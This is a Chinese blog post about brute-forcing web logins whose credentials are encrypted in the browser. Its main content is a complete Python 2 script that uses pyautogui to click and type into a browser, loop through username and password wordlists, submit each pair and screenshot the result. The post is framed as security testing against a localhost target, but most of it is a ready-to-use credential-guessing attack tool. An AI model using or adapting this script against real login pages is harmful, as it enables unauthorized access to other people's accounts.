python网站登录爆破登录_会python真的可以为所欲为——爆破前端加密登录

做安全测试的时候经常会遇到前端登录数据包加密,又懒得去分析js看加密算法,特别一些做了混淆的,分析起来那叫一个恶心……

逼的我又拿起了python,开始一顿操作

0e6e3b012a55

python真的能为所欲为

基础知识

这次要用到的是一个叫pyautogui的库,在python2的环境下安装很简单

python -m pip install pyautogui

然后在命令行测试一下是否能引用

0e6e3b012a55

image.png

没毛病,接下来简单介绍一下pyautogui

简单来说,这个库可以用来模拟鼠标、键盘操作

我们要用到的有

获取当前鼠标位置

pyautogui.position()

鼠标左击

pyautogui.click(x=123, y=456)

鼠标双击(按两下左键)

pyautogui.doubleClick(x=123, y=456)

鼠标左键按下

pyautogui.mouseDown(x=123, y=456)

鼠标左键松起

pyautogui.mouseUp(x=123, y=456)

键盘写入文本

pyautogui.typewrite('http://www.baidu.com\n')

# 这里的 '\n'是换行,其他特殊按键请自行查找手册

截屏

pyautogui.screenshot('log/test.png')

每次操作间隔时间

pyautogui.PAUSE = 0.2 #单位 秒

差不多了,这些基本够我们用了,接下来开始造轮子

python大法好

分析一波流程

首先,我们在运行脚本的时候,肯定是命令行获取的焦点,而不是浏览器,所以第一步就需要打开浏览器,为了方便可以提前打开一个,通过点击底部任务栏来切换到浏览器

0e6e3b012a55

image.png

然后每次先输入地址,然后输入用户名,输入密码,点击登录按钮

输入地址,可以在浏览器地址栏右侧按下左键,然后移动到地址栏最左侧,然后再输入文本,带上'\n'就可以转到指定的页面了

输入用户名,这块可根据具体页面的文本框采用单击或双击的办法清空或选中用户名栏的文本

输入密码,同用户名

点击登录,鼠标移动到登录按钮然后左击

等待http响应后(自己根据网络速度估摸一个大致时间),截屏到指定目录

如此循环

代码如下:

#!/usr/bin/python2

import pyautogui as pag

import time

pag.PAUSE = 0.2

def clearChar(chars):

reStr = ['\n','\r','\t',' ']

for reS in reStr:

chars = chars.replace(reS, '')

return chars

class Point:

x = 0

y = 0

def __init__(self, x, y):

self.x = x

self.y = y

def autoCrack(username, password):

global userBox

global passBox

global submitBtn

global urlBoxRight

global urlBoxLeft

global loginUrl

pag.mouseDown(urlBoxRight.x, urlBoxRight.y)

pag.mouseUp(urlBoxLeft.x, urlBoxLeft.y)

pag.typewrite(loginUrl+'\n')

time.sleep(1)

pag.click(userBox.x, userBox.y)

pag.typewrite(username)

pag.click(passBox.x, passBox.y)

pag.typewrite(password)

pag.click(submitBtn.x, submitBtn.y)

time.sleep(3)

pag.screenshot('log/{}_{}.png'.format(username, password))

time.sleep(1)

if __name__ == '__main__':

# Point

chromeIcon = Point(988, 1778)

userBox = Point(2524, 600)

passBox = Point(2530, 706)

submitBtn = Point(2468, 852)

urlBoxRight = Point(2052, 74)

urlBoxLeft = Point(150, 68)

loginUrl = 'http://127.0.0.1/login.php'

userFile = 'user.txt'

passFile = 'pass.txt'

pUserFile = open(userFile, 'r')

pPassFile = open(passFile, 'r')

userList = pUserFile.readlines()

passList = pPassFile.readlines()

pUserFile.close()

pPassFile.close()

pag.click(chromeIcon.x, chromeIcon.y)

for pwd in passList:

pwd = clearChar(pwd)

for user in userList:

user = clearChar(user)

autoCrack(user, pwd)

看看实际效果

0e6e3b012a55

image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值